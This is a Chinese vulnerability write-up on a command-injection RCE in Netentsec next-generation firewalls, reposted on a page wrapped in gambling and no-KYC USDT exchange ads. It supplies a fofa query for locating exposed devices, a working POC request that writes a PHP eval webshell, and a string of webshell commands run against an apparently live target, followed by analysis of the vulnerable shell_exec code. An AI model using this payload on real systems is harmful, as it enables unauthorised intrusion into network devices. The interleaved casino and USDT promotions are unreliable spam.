欢迎进Allbet欧博官网,Allbet欧博官网是欧博集团的官方网站。Allbet欧博官网开放Allbet注册、Allbe代理、Allbet电脑客户端、Allbet手机版下载等业务。

首页科技正文

trc20交易所(www.payusdt.vip):网康防火墙前台RCE及剖析

admin2021-05-0314安全技术漏洞分析

USDT自动充值接口

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

破绽形貌

网康下一代防火墙(NGFW)是网康科技推出的一款可周全应对 *** 威胁的高性能应用层防火墙。依附超强的应用识别能力,下一代防火墙可深入洞察 *** 流量中的用户、应用和内容,借助全新的高性能单路径异构并行处置引擎,在互联网出口、数据中央界限、应用服务前端等场景提供高效的应用层一体化平安防护,辅助用户平安地开展营业并降低平安成本。

这个洞是今年hvv时代爆出来的,危害很高,因此甲方baba要求我做一下剖析的事情,好家伙,开局一个破绽名称,讲述内容全靠编,放置。

在网上找一条POC,更先怼,我实验用该POC写入一句话毗邻蚁剑,但不知道是不是有段时间没用我的剑生锈了,死活连不上去,所幸写入一句话能执行下令,证实晰破绽真实存在以及POC有用,我只能在burp上纯下令的形式去审计跟踪代码(厥后才反映过来为啥不反弹shell嘞)

fofa : app="网康科技-下一代防火墙"

破绽行使

发送下面的POC即可在目的的/var/www/html/目录下建扬名为test.php的文件,完事以后蚁剑直接去连即可(其余骚操作,大佬们放置起来)。

POST /directdata/direct/router HTTP/1.1
Host: X.X.X.X

{
    "action": "SSLVPN_Resource",
    "method": "deleteImage",
    "data":[{
      "data":["/var/www/html/b.txt;echo '<?php @eval($_POST[a]);?>'>/var/www/html/test.php"]
    }],
    "type": "rpc",
    "tid": 17
}

注释一下上面的POC,主要是如下部门:

"data":["/var/www/html/b.txt;echo '<?php @eval($_POST[a]);?>'>/var/www/html/test.php"]

单看POC长这样我们大致就能猜出这是一个下令注入导致的RCE了。

破绽剖析

这个系统由于大部门站点的建构都是linuxphpApache,是我最善于的,因此直接上burp更先代码审计(主要是蚁剑死活连不上去,我只能苦逼的一遍遍的手敲下令)

前期信息搜集

首先看当前的路径以及目录下的文件:

POST /test.php HTTP/1.1

a=system('pwd');

返回:

HTTP/1.1 200 OK

/var/www/html

之后另有用ls、id、whoami等下令,就不逐一枚举,下面仅列出执行效果:

ls执行效果:

13bnKkNct.php
CNVD20210413.txt
P385Egd9Pe.php
Reset_p2p_im.php
RgQtlh *** S.php
SqjHiRunF.php
applications
backup
certs
config
css
d18a2709431135f41eab9828d90c4bb6.html
download
dr4xVfDGs.php
e130U453zx.php
favicon.ico
flag
help
images
index.php
js
language
libs
m5KnfOOE42.php
o9isu852j.txt
p
release
scripts
sslvpnindex
successgoto
test.php
timetask
tmp
ukey
yanbuguohengyang.txt

id执行效果:

uid=48(apache) gid=48(apache) groups=48(apache)

whoami执行效果:

apache

OK,总结一句话,权限不高,但审计够了,继续....

破绽入口文件搜索

接下来看看web根目录下哪个最有可能是controller文件夹或代码逻辑处置模块文件夹,其中applications文件夹很可疑,进去看一下:

POST /test.php HTTP/1.1

a=system('cd applications;ls');

服务器返回:

Models
acc
common
dashboard
directdata
help
log
monitor
network
policy
report
sslvpn
statistics
syscustom
system
user
usercenter

可以看到上面的目录中包罗了POC路径中的directdata文件夹,很可疑,跟下去:

POST /test.php HTTP/1.1

a=system('cd applications/directdata;ls');

服务器返回:

controllers

很好,看到controllers这个文件夹,基本就稳了。

继续跟:

,

USDT场外交易平台

U交所(www.payusdt.vip)是使用TRC-20协议的Usdt官方交易所,开放USDT帐号注册、usdt小额交易、usdt线下现金交易、usdt实名不实名交易、usdt场外担保交易的平台。免费提供场外usdt承兑、低价usdt渠道、Usdt提币免手续费、Usdt交易免手续费。U交所开放usdt otc API接口、支付回调等接口。

,
POST /test.php HTTP/1.1

a=system('cd applications/directdata/controllers;ls');

服务器返回:

DirectController.php

直接读这个文件:

POST /test.php HTTP/1.1

a=system('cat applications/directdata/controllers/DirectController.php');

文件内容如下:

<?php
require_once BASE_PATH.'/applications/Models/Ext/Direct.php';
class Directdata_DirectController extends Zend_Controller_Action {

    function routerAction() {
        header("Content-Type: application/json");
    $this->_helper->viewRenderer->setNoRender();

        $this->getResponse()->setBody(json_encode(
             Ext_Direct::run($this->getRequest())
        ));
    }

}

连系POC中的/directdata/direct/router ,大致能够预测出这套web系统的路由,directdata代表目录,direct代表文件名,应该是行使字符串拼接的形式实现的路径动态天生(没细看其他代码),

看代码:

$this->getResponse()->setBody(json_encode(
             Ext_Direct::run($this->getRequest())

挪用了Ext_Direct::run函数去向置用户输入,搜索Ext_Direct类:

POST /test.php HTTP/1.1

a=system('find . -name "*.php"|xargs grep "class Ext_Direct"');

返回效果:

HTTP/1.1 200 OK

./applications/Models/Ext/Direct/RPCResult.php:class Ext_Direct_RPCResult {
./applications/Models/Ext/Direct/Controller.php:abstract class Ext_Direct_Controller extends Zend_Controller_Action {
./applications/Models/Ext/Direct/EventResult.php:class Ext_Direct_EventResult {
./applications/Models/Ext/Direct/ExceptionResult.php:class Ext_Direct_ExceptionResult {
./applications/Models/Ext/Direct/Request.php:class Ext_Direct_Request {
./applications/Models/Ext/Direct.php:class Ext_Direct {
./applications/Models/Ext/DirectException.php:class Ext_DirectException extends Exception {

清扫一下就知道应该是:

./applications/Models/Ext/Direct.php:class Ext_Direct {

跟进该文件:

POST /test.php HTTP/1.1

a=system('cat applications/Models/Ext/Direct.php');

返回:

<?php

class Ext_Direct {
    const REMOTING = 'remoting';
    const URL = '/directdata/direct/router';
    const enableBuffer  = 10;

    public static function describe($classes) {
        if (!is_array($classes)) {
            $classes = array($classes);
        }

        $ret = array();
        foreach ($classes as $class) {
            if (!class_exists($class))
                throw new Exception('class not found ' . $class);

            $reflection = new ReflectionClass($class);
            $methods = $reflection->getMethods();
            $methodData = array();
            foreach ($methods as $m)
                if ($m->isPublic() && !$m->isStatic())
                    $methodData[] = array(
                        'name' => $m->getName(), 
                        'len' => $m->getNumberOfParameters()
                    );
            $ret[] = array(
                'timeout' => $reflection->hasConstant('timeout')?$reflection->getConstant('timeout') : 1800000, // half an hour
                'url' => self::URL,
                'type' => self::REMOTING,
                'enableBuffer' => $reflection->hasConstant('enableBuffer')?$reflection->getConstant('enableBuffer') : self::enableBuffer,
                'actions' => array($class => $methodData)
            );
        }
        return $ret;
    }

    public static function run($request) {
        $extRequest = Ext_Direct_Request::factory($request);
        if (!$extRequest)
            throw new Exception('illegal parameters');
        if (!is_array($extRequest))
            $extRequest = array($extRequest);

        $ret = array();
        $daos = array();
        foreach ($extRequest as $r) {
            $c = $r->getAction();
            if (!$c)
                throw new Exception('class not found');
            if (!isset($daos[$c]))
                $daos[$c] = new $c();
            $dao = $daos[$c];
        //  $argtest = $r->getArguments();
        //  $testInfo =  $r->getMethod().'->'.$argtest[0]->type;
        //  $startTime = micsecond();
//          Ns_debug_log($dao,'x5.log',false);
            if (!method_exists($dao, $r->getMethod()))
                throw new Exception('method not found');
            try {
                if ($request->getParam('extDirectException'))
                    throw new Ext_DirectException($request->extDirectException);
                $ret[] = new Ext_Direct_RPCResult(
                    $r->getTID(),
                    $r->getAction(),
                    $r->getMethod(),
                    call_user_func_array(
                        array($dao, $r->getMethod()), $r->getArguments()
                    )
                );
            } catch (Ext_DirectException $e) {
                $ret[] = new Ext_Direct_ExceptionResult(
                    $r->getTID(),
                    $r->getAction(),
                    $r->getMethod(),
                    $e->getMessage()
                );
            } catch (Exception $e) {
                $ret[] = new Ext_Direct_ExceptionResult(
                    $r->getTID(),
                    $r->getAction(),
                    $r->getMethod(),
                    $e->getMessage()
                );
            }
        //  Ns_debug_log((micsecond()-$startTime).date('Y-m-d H:i:s').','.$c.','.$testInfo.','.getenv('REMOTE_ADDR'),'fast.log',false);
        }
        return $ret;
    }
}

清扫掉多余的滋扰因素,直接找run方式:

<?php
....
....

public static function run($request) {
  // 剖析用户输入
        $extRequest = Ext_Direct_Request::factory($request);
        if (!$extRequest)
            throw new Exception('illegal parameters');
        if (!is_array($extRequest))
            $extRequest = array($extRequest);

        $ret = array();
        $daos = array();
        foreach ($extRequest as $r) {
            $c = $r->getAction();
            if (!$c)
                throw new Exception('class not found');
            if (!isset($daos[$c]))
                $daos[$c] = new $c();
            $dao = $daos[$c];
        //  $argtest = $r->getArguments();
        //  $testInfo =  $r->getMethod().'->'.$argtest[0]->type;
        //  $startTime = micsecond();
//          Ns_debug_log($dao,'x5.log',false);
      // 简朴检查以下接下来要用的变量是否存在
            if (!method_exists($dao, $r->getMethod()))
                throw new Exception('method not found');
            try {
                if ($request->getParam('extDirectException'))
                    throw new Ext_DirectException($request->extDirectException);
                $ret[] = new Ext_Direct_RPCResult(
                    $r->getTID(),
                    $r->getAction(),
                    $r->getMethod(),
          // call_user_func_array函数对用户可控函数及参数值举行直接运行
                    call_user_func_array(
                        array($dao, $r->getMethod()), $r->getArguments()
                    )
                );
            } 

....
....
?>

回首一下POC:

{
    "action": "SSLVPN_Resource",
    "method": "deleteImage",
    "data":[{
      "data":["/var/www/html/b.txt;echo '<?php @eval($_POST[a]);?>'>/var/www/html/test.php"]
    }],
    "type": "rpc",
    "tid": 17
}

连系之前对路由的剖析,可以大致推断出action代表类名,method代表方式名,data则是方式是参数,接下来需要搜索SSLVPN_Resource类的deleteImage方式:

POST /test.php HTTP/1.1

a=system('find . -name "*.php"|xargs grep "class SSLVPN_Resource "');

返回:

HTTP/1.1 200 OK

./applications/Models/SSLVPN/Resource.php:class SSLVPN_Resource extends ConfigCommon_Abstract {

跟进去:

POST /test.php HTTP/1.1

a=system('cat applications/Models/SSLVPN/Resource.php');

返回内容过长,下面就截取要害的一小段代码,直接搜deleteImage方式:

<?php 
...
...

public function deleteImage($params){
        $basePath = '/var/www/html/';
        $imgPath = $this->imagePath;
        $params = $params->data;
        $cmd = "cd $imgPath \n /bin/rm -rf ";
        $existDefault=false;
        foreach ($params as $img){
            if($img=='default.png'){
                $existDefault=true;
            }else{
                $cmd.=$img.' ';
            }
        }
        Ns_debug_log($cmd,'x.log');
        shell_exec($cmd);

...
...
?>

可以看到,直接从参数$params中取出data部门,与$cmd参数拼接,然后直接带入了shell_exec($cmd);执行,时代没有做任何平安过滤,因此当用户输入中使用分号即可脱离下令完成下令注入从而远程下令执行。

剖析完毕,讲述拿给甲方baba看,甲方baba很知足,摸摸我的头,说晚饭加鸡腿。

网友评论

最新评论